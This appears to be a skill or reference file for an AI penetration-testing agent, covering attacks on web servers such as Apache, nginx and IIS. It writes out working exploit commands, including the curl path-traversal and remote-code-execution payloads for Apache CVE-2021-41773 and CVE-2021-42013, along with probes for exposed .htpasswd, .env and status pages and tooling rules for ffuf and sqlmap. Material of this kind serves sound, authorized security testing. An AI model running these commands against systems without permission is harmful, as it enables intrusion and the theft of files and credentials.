svc-web-server

name	svc-web-server
description	Web SERVER software (not app-layer) attack techniques — server misconfigs, known server CVEs, path traversal, exposed status/config. Use when you fingerprint the web server itself (for app-layer bugs use the web-<class> skills). Triggers - Server header, Apache 2.4.49/2.4.50, nginx alias traversal, IIS, Tomcat, /server-status, .htaccess.

Web Server Attack Reference

Apache

Critical CVEs

• CVE-2021-41773 (Apache 2.4.49): Path traversal via curl 'http://<t>/cgi-bin/.%2e/%2e%2e/etc/passwd'
• CVE-2021-42013 (Apache 2.4.49-50): RCE via curl 'http://<t>/cgi-bin/.%%32%65/.%%32%65/bin/sh' -d 'echo;id'
• CVE-2019-0211 (Apache 2.4.17-2.4.38): Local privesc via scoreboard manipulation
• CVE-2017-9798 (Optionsbleed): curl -sI -X OPTIONS http://<t>/ — leaks memory

Misconfigurations

# Server-status exposure
curl http://<t>/server-status
curl http://<t>/server-info

# .htaccess / .htpasswd readable
curl http://<t>/.htaccess
curl http://<t>/.htpasswd

# Directory listing
curl http://<t>/icons/

Nginx

CVEs

• CVE-2017-7529 (Nginx <1.13.2): Integer overflow → info disclosure
• CVE-2021-23017: DNS resolver off-by-one heap write

Misconfigurations

# Alias traversal (missing trailing slash)
curl http://<t>/static../etc/passwd

# stub_status exposure
curl http://<t>/nginx_status
curl http://<t>/status

# Off-by-slash
# If: location /folder { alias /var/www/; }
# Then: /folder../etc/passwd works

IIS

CVEs

• CVE-2017-7269 (IIS 6.0): WebDAV buffer overflow → RCE
• CVE-2021-31166 (HTTP.sys): Wormable RCE via malformed header

Checks

# Short filename disclosure
curl http://<t>/~1/
# WebDAV methods
curl -X OPTIONS http://<t>/ -sI | grep -i allow

General Web Server Checks

# Technology detection
whatweb http://<t> -a 3
curl -sI http://<t>   # single header dump is fine

Backup-file and sensitive-path checks: do these with ffuf/gobuster, NOT a curl bash-loop. Put the candidate paths in a file and fuzz once:

# sensitive/backup paths in one run, then parse
cat > paths.txt <<'EOF'
.git/HEAD
.env
.DS_Store
web.config
wp-config.php.bak
robots.txt
sitemap.xml
index.php.bak
index.php.old
index.php.orig
index.php~
EOF
ffuf -w paths.txt -u http://<t>/FUZZ -mc 200,301,302,401,403 -maxtime 100 -o ffuf.json -of json
# then (separate command): gobuster_parse on the results

A for ext in bak old ...; do curl ...; done loop is the WRONG pattern — use the ffuf run above. If ffuf/gobuster is missing, install it (apt install -y ffuf gobuster) rather than looping curl.

Authenticated testing

Needing a session cookie/header is NOT a reason to hand-run curl — every tool carries auth:

• ffuf -H "Cookie: ..." / -b, gobuster --cookies, nuclei -H, sqlmap --cookie=, feroxbuster -H.
• A single curl -b is only for a one-off PoC, never "curl for all requests".

Injection (SQLi) → sqlmap, not by hand

• Detect with sqlmap (blind/time/union coverage, true/false differential), then sqlmap_parse.
• Non-standard transport (Next.js Server Actions / RSC, custom Next-Action / text/x-component): ONE recon curl to confirm the param reacts is allowed, then move detection to a saved request: sqlmap -r request.txt -p <param> --batch → sqlmap_parse. No manual ' OR 1=1 sweeps.

Long-running fuzz

• Add -maxtime N (below the shell timeout) so ffuf -o json flushes on a clean exit before it's killed.
• Run long fuzzes backgrounded / with a raised timeout; run the fuzz and gobuster_parse as SEPARATE commands.
• Drop -s (see progress). If throttled, LOWER -t and add -p 0.1.

Output Rules

• Never curl-loop over paths — that's what ffuf/gobuster are for. Single curl only for one-off requests.
• For gobuster/ffuf: use -q -n --no-error or -mc match codes to suppress noise, then gobuster_parse.
• Redirect large output to files. Never paste >50 lines of raw tool output.
• Use gobuster_parse and nuclei_parse for auto-processing.